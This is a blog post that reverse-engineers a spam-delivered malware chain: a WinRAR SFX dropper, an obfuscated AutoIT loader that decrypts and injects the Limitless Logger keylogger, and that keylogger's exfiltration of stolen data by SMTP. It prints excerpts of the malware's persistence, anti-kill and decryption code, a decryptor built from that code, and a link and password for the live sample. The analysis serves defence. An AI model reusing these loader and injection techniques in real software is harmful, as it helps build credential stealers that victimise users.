This is a sample that came to my hands by a spam campaign, and caught in a corporate honeypot. Make a comment under this post with your email if you want a sample.

Sorry for some false positive AV alarms while browsing this post.. It was due to some code listings. I removed the AutoIT script, but it can be found here: https://www.dropbox.com/s/xu1ra236lx8n5dc/clean.au3?dl=0 .

~ Due to big amount of requests, I uploaded the sample here too. Pass is “malware” ~

Here is an overview of what you’re going to see in this post:

1) First malware file: .exe

– recognition of the executable’s type (WinRAR SFX)

2) Drops: update.exe + 3 files

– recognition of the dropped PE (AutoIT), and obfuscated AutoIT script

– making a custom python script of script de-obfuscation

– Clear AutoIT script analysis, methods and some thoughts about it.

3) LoadPE method (by the AutoIT script) using an encrypted drop

– making a custom script to decrypt the drop (RC2 encrypted usign CryptoAPI)

– analysis of the final malware. What data does it collect, which format, how does it send them and where.

– reveal some console log messages of the app by just changing it’s IMAGE_SUBSYSTEM byte from PE Header

..so let’s go..





1) First malware file

The mail attachment, contained this file. An executable with a custom icon. After a fast static analysis, it is recognised to be a WinRAR SFX executable with some dummy comments.

Executing the SFX, drops those 4 files in %userprofile%yzvf382a42256 with hidden and system attributes. Then, the update.exe file is being executed.

Notice the BIG file in the sfx file.. 331MB file with .PBS extension



2) Drops: update.exe and other 3 files..

First of all, with a fast static analysis (strings and resources) update.exe seems to be the AutoIT script interpreter. For those who know about AutoIT, the executable’s icon witnesses the AutoIT existence.

VirusTotal gives a result of 1/55. File checksums:

File: update.exe CRC-32: fe38fa90 MD4: acf237cc711fefbac32631546d878a0a MD5: 6a93a4071cc7c22628af40a4d872f49b SHA-1: ba916e686aa0cae19ab907bdab94924ada92b5f4

So there is an interpreter, and there must be the source file to execute.. Searching the 3 files, the AutoIT script file is jqanjzruzb.PBS … The 331MB file. Opening the file we can see (after the time of editor’s stack time 😛 ) that the script is there.. but we can’t clearly see and analyse the source cos of many tab characters, and dummy comments! Author probably used that method as a type of obfuscation for the script file.

I made a python script to “deobfuscate” that AutoIT script source of 331MB .. It counts and removes the tab chars, recognises and removes the “dummy comment” and some dummy new lines.. Python script receives as argument 1) the AutoIT obfuscated file (the big one) and 2) the new file of the clear/deobfuscated script. Then the result is a clear AutoIT source script. The python script that deobfuscates the file, is this:

import sys, os def progress(n, total): sys.stdout.write("r[+] Cleaned: %d%%" % (n*100/total)) sys.stdout.flush() def remove_from_list(string_to_remove, list): while True: try: list.remove(string_to_remove) # print ".", except: # print "done" break def clean_from_dummystring_newlines(dummyfilename, newfilename): f = open(dummyfilename) with f as lines: content = lines.readlines() f.close() for mem in content: string_to_remove = mem print "n[+] dummy string to be removed, seems to be: "+string_to_remove break if content.count(string_to_remove) > 10: # print "String to be removed, seems to be: ""+string_to_remove+""" remove_from_list(string_to_remove, content) if content.count(' n') > 5: print "[+] Removing "

"" remove_from_list(" n", content) f = open(newfilename, 'wb') f.write(''.join(content)) f.close() info = os.stat(sys.argv[1]) # get file size filesz = info.st_size f = open(sys.argv[1], 'rb') #.. now open file to read l = open(sys.argv[2], 'wb') b = f.read(1) datatowrite = "" list1 = [] i = 0 k = 0 print "n[+] cleaning the tab chars.." while b != '': # read file till EOF.. 🙂 while b == 't': # tabs are the chars i want to ignore... i += 1 k += 1 b = f.read(1) if i>0: # print "There were "+str(i)+" tabs.." if i<10: # writeable tabs for j in range (0,i): datatowrite = 't' l.write(datatowrite) i = 0 progress(k, filesz) # give progress status if b == 'n': # write n to file... # print "NL" k += 1 datatowrite = 'n' l.write(datatowrite) elif b == 'r': # write r to file # print "CR" k += 1 datatowrite = 'r' l.write(datatowrite) else: while b >= ' ' and b <= '}': # printable char? write it.. k += 1 list1.append(b) b = f.read(1) # print "".join(list1) datatowrite = ''.join(list1) # write to file l.write(datatowrite) list1 = [] b = f.read(1) f.close() l.close() # Now clean a bit more.. clear the 1) dummy comment strings and 2) the dummy new lines. clean_from_dummystring_newlines(sys.argv[2], sys.argv[2]) print "Done!"

The script file before deobfuscation is 331MB and looks like this in the AutoIT editor (notice the scrollbar):

This is how the deobfuscation is done (i call the script clean_script.py) and lasts about 6 minutes:

After the "clean" operation, the clean file is 55kbyte in size! And has the following contents:

File has been removed due to false positives from AVs! Sorry.. Uploaded here for everyone who is interested: https://www.dropbox.com/s/xu1ra236lx8n5dc/clean.au3?dl=0

..a bit of AutoIT script analysis

There is a lot of source code in this script, lot of functions, and huge functionality. The most important sections, is where the script "decides" which will be it's functionality, how does it protect itself (persistence, process protection), what is it's main functionality and how does it communicate with the cybercriminals.

First of all we have to analyse the other dropped files...! There are total 4 files dropped by the SFX. The one is the update.exe (AutoIT interpreter) the other is the above script, and the other two not mentioned yet.. Well here they are:

1) oziryzkvvcpm.AWX - which has a small size, looks like an INI file.. probably some settings recognised by the AutoIT script.

2) sgym.VQA - a binary with random data.. Maybe another encrypted malware executable/payload !

The INI file looks like this:

[8472254] 7345448=2738636 [5152433] 7790268=6953219 [5242747] 1024020=8930731 [9537477] 9537477=yzvf382a42256

If you notice the AutoIT script, you'll see these lines concerning the main script functionality:

..... ..... Local $startup = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "5242747", "1024020", "NotFound") If $startup = "8930731" Then startup() Else EndIf Local $antis = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "antis1", "antis2", "NotFound") If $antis = "antis3" Then antis() Else EndIf ..... $protectprocess = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "8472254", "7345448", "NotFound") If $protectprocess = "2738636" Then AdlibRegister("anti_hook", 500) ..... Local $persistence = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "5152433", "7790268", "NotFound") If $persistence = "6953219" Then checkvbs() AdlibRegister("persistence", 500) Else EndIf ...... Func submain() $skey = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "9537477", "9537477", "NotFound") $sapppath1 = FileGetShortName(@ScriptDir & "sgym.VQA") $sapppath = FileRead(FileOpen($sapppath1, 16)) $sarquive = _crypt_decryptdata($sapppath, $skey, $calg_rc2) Local $commandline = IniRead($uniscriptdir & "oziryzkvvcpm.AWX", "commandline1", "commandline2", "NotFound") If $commandline = "commandline3" Then _runpe($sarquive," command-replace") Else _runpe($sarquive) EndIf EndFunc ....

Above you see the code that is responsible for reading the INI file oziryzkvvcpm.AWX which decides for the AutoIT functionality. The example above, shows what does those INI sections mean.

- The 5242747 section means persistence. The malware calls the startup function which adds the classic registry key for system startup (HKCU64SoftwareMicrosoftWindowsCurrentVersionRunOnce) and a shortcut to Start menu -> Programs -> Startup.

- The antis1 section is not present in the INI file, meaning that the antis function will not be executed. It means anti-protections. Like VM protections etc. It is an example of the many functionalities, which is not used in this malware!

- The 8472254 section means bsod anti-hook/process protection method! This functionality, sets the AutoIT executable as a critical section, and if it is killed, we have a bsod. This method is used for process protection by lot of malware authors. Detailed method can be seen here.

- The 5152433 section means that the AutoIT executable will check for the vbs script (which is dropped by this AutoIT script, and used to run the update.exe giving as argument the AutoIT script) existence, and also checks/adds the registry persistence keys.

- The 9537477 section contains a decryption key! If you follow the function _crypt_decryptdata you'll recognise that there are calls to Windows CryptoAPI and decrypts the sgym.VQA file using RC2 algorithm, and key the string "yzvf382a42256" taken from the ini file (which is also the name of the malware's folder). The decrypted file is probably a PE cos later in code, it injects it in memory (LoadPE method) of another process (RegSvcs.exe, RegAsm.exe, etc)

Let's make sure that the final file sgym.VQA is an encrypted executable.. The fast way to recognise that, is Ollydbg. We have to break in the correct point (breakpoint on CryptDecrypt function of advapi32.dll) of the process update.exe (the interpreter of the above AutoIT script AFTER the malware is running.) while the malware is running (update.exe with "jqanjzruzb.PBS" argument)

Notice: Our goal is to reverse the malware.. NOT the AutoIT interpreter!

This is the point where Olly breaks while the AutoIT script is running, and CryptDecrypt is called to decrypt the potential encrypted malware from sgym.VQA file:

The 5th argument of CryptDecrypt is the most interesting, it is the buffer containing the crypted data. Also the 6th arg contains the length of the encrypted data, and after the function returns, it will contain the length of the decrypted data. When we have a break (before the decryption) the size is 0x6F008 what means 454664 in decimal, which is the exact size of the sgym.VQA file. We are sure that it will be decrypted after the call! After pressing CTRL-F9 in Ollydbg :

And yes it's a PE..! The first thing is to dump it from Olly memory. It will work that way. It is a .NET executable.. I made an AutoIT script which will decrypt the sgym.VQA file from disk. I ripped some code from the malware's AutoIT script, and read some functions from the official AutoIT site for their functions and finally made the decryption script. It reads the encrypted filename given in a global var, and writes the decrypted file data in a filename given in a global var too. In order to run the script you have to download AutoIT from here and give the correct in/out filenames in globals to the following script (change "encrypted.bin" to "sgym.VQA" to match this case) :

Global Const $calg_rc2 = 26114 Global Const $calg_rc2 = 26114 Global Const $prov_rsa_full = 1 Global Const $crypt_exportable = 1 Global Const $calg_md5 = 32771 Global Const $crypt_userdata = 1 Global Const $prov_rsa_aes = 24 Global $__g_acryptinternaldata[3] Global Const $crypt_verifycontext = -268435456 Global Const $calg_userkey = 0 Global $skey = "yzvf382a42256" Global $encrypted_filename = "encrypted.bin" Global $decrypted_filename = "decrypted.bin" submain() Func __crypt_dllhandleset($hadvapi32) $__g_acryptinternaldata[1] = $hadvapi32 EndFunc Func __crypt_refcount() Return $__g_acryptinternaldata[0] EndFunc Func __crypt_refcountinc() $__g_acryptinternaldata[0] += 1 EndFunc Func __crypt_contextset($hcryptcontext) $__g_acryptinternaldata[2] = $hcryptcontext EndFunc Func __crypt_context() Return $__g_acryptinternaldata[2] EndFunc Func __crypt_dllhandle() Return $__g_acryptinternaldata[1] EndFunc Func _crypt_startup() If __crypt_refcount() = 0 Then Local $hadvapi32 = DllOpen("Advapi32.dll") If @error Then Return SetError(1, 0, False) __crypt_dllhandleset($hadvapi32) Local $aret Local $iproviderid = $prov_rsa_aes If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext) If @error OR NOT $aret[0] Then DllClose(__crypt_dllhandle()) Return SetError(2, 0, False) Else __crypt_contextset($aret[1]) EndIf EndIf __crypt_refcountinc() Return True EndFunc Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5) Local $aret Local $hcrypthash Local $hbuff Local $ierror Local $vreturn _crypt_startup() Do $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0) If @error OR NOT $aret[0] Then $ierror = 1 $vreturn = -1 ExitLoop EndIf $hcrypthash = $aret[5] $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]") DllStructSetData($hbuff, 1, $vpassword) $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata) If @error OR NOT $aret[0] Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0) If @error OR NOT $aret[0] Then $ierror = 3 $vreturn = -1 ExitLoop EndIf $ierror = 0 $vreturn = $aret[5] Until True If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash) Return SetError($ierror, 0, $vreturn) EndFunc Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True) Local $hbuff Local $ierror Local $vreturn Local $htempstruct Local $iplaintextsize Local $aret _crypt_startup() Do If $ialg_id <> $calg_userkey Then $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id) If @error Then $ierror = 1 $vreturn = -1 ExitLoop EndIf EndIf $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]") DllStructSetData($hbuff, 1, $vdata) $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata)) If @error OR NOT $aret[0] Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $iplaintextsize = $aret[6] $htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff)) $ierror = 0 $vreturn = DllStructGetData($htempstruct, 1) Until True Return $vreturn EndFunc Func submain() $sapppath = FileRead(FileOpen($encrypted_filename, 16)) $sarquive = _crypt_decryptdata($sapppath, $skey, $calg_rc2) FileWrite(FileOpen($decrypted_filename, 10), $sarquive) EndFunc

3) Analysis of the final decrypted PE

VirusTotal gives a result of 29/54 today. A static analysis results in an unpacked executable, compiled with .NET containing many interesting strings and .NET functions/classes (via IDA Pro) which gives us the impression of a monitoring tool cos of the extended functionality (ripper of many apps/browsers etc, keystroke hooker, ..).

checksums of the file:

CRC-32: 1c2ff510 MD4: 05054bf759e18a9e11ed036a5f5818b9 MD5: dae4bc7cf2df5e00e8f8cbdeba9b9976 SHA-1: 8115c1b03e3d7372b74f415e50db0069a2bcc1fc

The tool is the commercial Keylogger named "Limitless Logger" and here seems to be it's site (author ended the product's support). Here is a video explaining the functionality of the tool by the tool's autor (Mephobia). In the video we can see it's whole functionality, which explains everything about the classes/functions we see in IDA . Here is a sample random shot from IDA showing the product's banner:



While I was exploring the tool's code, I noticed that there are plenty of console messages, even if the app is compiled for windows gui. For example:

In order to see those console messages, let's change the PE Header byte from Windows GUI to Console app as shown in the pic:

...and yes here they are... Limitless Logger has full console messages on every single step.. :

After setting ApateDNS pointing to a Linux INetSim honeypot (inetsim's SMTP had to be set up to port 587 instead of 25), I sniffed a whole conversation of the .Net tool's traffic and the SMTP server (the tool sends the data to the cybercriminal via mail - smtp to address "ontherun4sales@yandex.ru"). Depending on the user's settings, the tool sends several feedbacks about the keystrokes of the user, screenshots, recovery data (saved passwords from several applications/browsers). This is a sample of the smtp communication data sniffed, and DNS requests made by the tool:

The tool, in the 1st tcp stream uses totaly base64 encoded data, what doesn't happen in the 2nd stream. The SMTP used is yandex.ru (also shown in the DNS reqs) without providing password 😀 .Also bot.whatismyipaddress.com is used so the tool can get our inet global ip address in plaintext format, and also the ebis.pro is used cos of web spam using our default browser (there is a setting for that, in the tool's video)

Between "Sleep()" there is a nag web page (the guy compiled the Limitless Logger to visit the site: www.ebis.pro/images/invoice_img.png) which is an invoice corresponding the body of the spam campaign ("..you have to pay a bill.. etc" :D) :

Final Thoughts

The guy who made the spam campaign in order to infect a victim with all these, obviously did it in the AutoIT way cos of FUDing from a static analysis.. Update.exe is a legit interpreter, text files (autoit script) are not detectable by AVs, and so the completely random data do (sgym.VQA - the Limitless Logger RC2 crypted PE). The method had lot of probs.. AVs will detect the drop of the .vbs scripts and behaviour of the processes (update.exe, RegSvcs.exe, ..). The starting functionality of the malware is in a pseudo-obfuscated plaintext file, where it can easily get back in clear state and we can discover the whole functionality. Probably most of the parts of this AutoIT script, are taken from their forum where there are discussions about process injections etc, and there are exactly the same snippets of code (even the comments of the script are the same). Also there are lot of functions that are not used. For example the "antis" functions, where there were some anti-vm code. Also we can see that the guy if the case here, used an open relay smtp server (yandex.ru) which seems that changed policy, cos server can't let you relay messages in unencrypted format, even if the authentication is successful.

If we de-base64 the traffic send by the Limitless Logger via mail, and search the pattern in google, you can find some interesting things.. 😀